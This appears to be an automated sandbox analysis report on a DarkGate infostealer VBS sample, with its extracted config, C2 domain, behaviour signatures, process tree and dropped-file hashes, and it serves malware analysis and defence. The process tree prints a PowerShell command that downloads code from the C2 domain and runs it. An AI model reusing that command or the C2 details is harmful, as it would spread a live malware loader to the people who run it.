Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/04/2024, 01:23

General

  • Target
    5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831.vbs
  • Size 8KB
  • Sample240403-brvg8abg49
  • SHA256 5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • admin888

C2
  • 31yc.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    xIpQnKfo

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '31yc.com/sjcgwjvm')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2076
      • C:\tket\KeyScramblerLogon.exe
        "C:\tket\KeyScramblerLogon.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:2752
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:/tket/
        3⤵
        • Views/modifies file attributes
        PID:3004

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        __PSScriptPolicyTest_4rbtmdm4.p30.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4rbtmdm4.p30.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        KeyScramblerIE.dll

        • Path C:\tket\KeyScramblerIE.dll
        • Size 704KB
        • SHA256 45793173506de756408a577835d90161a0720c5fe2242f791bcef190556af796
        • MD5 SHA1 SHA512 SSDEEP

        KeyScramblerLogon.exe

        • Path C:\tket\KeyScramblerLogon.exe
        • Size 500KB
        • SHA256 fa7ad2f45128120bccc33f996f87a81faa2e9c1236666dd69b943a755f332eb1
        • MD5 SHA1 SHA512 SSDEEP

        test.txt

        • Path C:\tket\test.txt
        • Size 457KB
        • SHA256 d7bba151c501ecb9a936cf1ab64620cafbd2284773e73d8390f9d0d3b73a98fa
        • MD5 SHA1 SHA512 SSDEEP

        memory/2076-14-0x0000020CA05E0000-0x0000020CA07A2000-memory.dmp

        memory/2076-13-0x0000020C87C40000-0x0000020C87C50000-memory.dmp

        memory/2076-0-0x0000020C87CE0000-0x0000020C87D02000-memory.dmp

        memory/2076-12-0x0000020C87C40000-0x0000020C87C50000-memory.dmp

        memory/2076-11-0x0000020C87C40000-0x0000020C87C50000-memory.dmp

        memory/2076-38-0x00007FF802E70000-0x00007FF803931000-memory.dmp

        memory/2076-10-0x00007FF802E70000-0x00007FF803931000-memory.dmp

        memory/2752-40-0x0000000001240000-0x00000000012F5000-memory.dmp

        memory/2752-42-0x0000000002CA0000-0x0000000002D13000-memory.dmp

        memory/2752-44-0x0000000001240000-0x00000000012F5000-memory.dmp

        memory/2752-45-0x0000000002CA0000-0x0000000002D13000-memory.dmp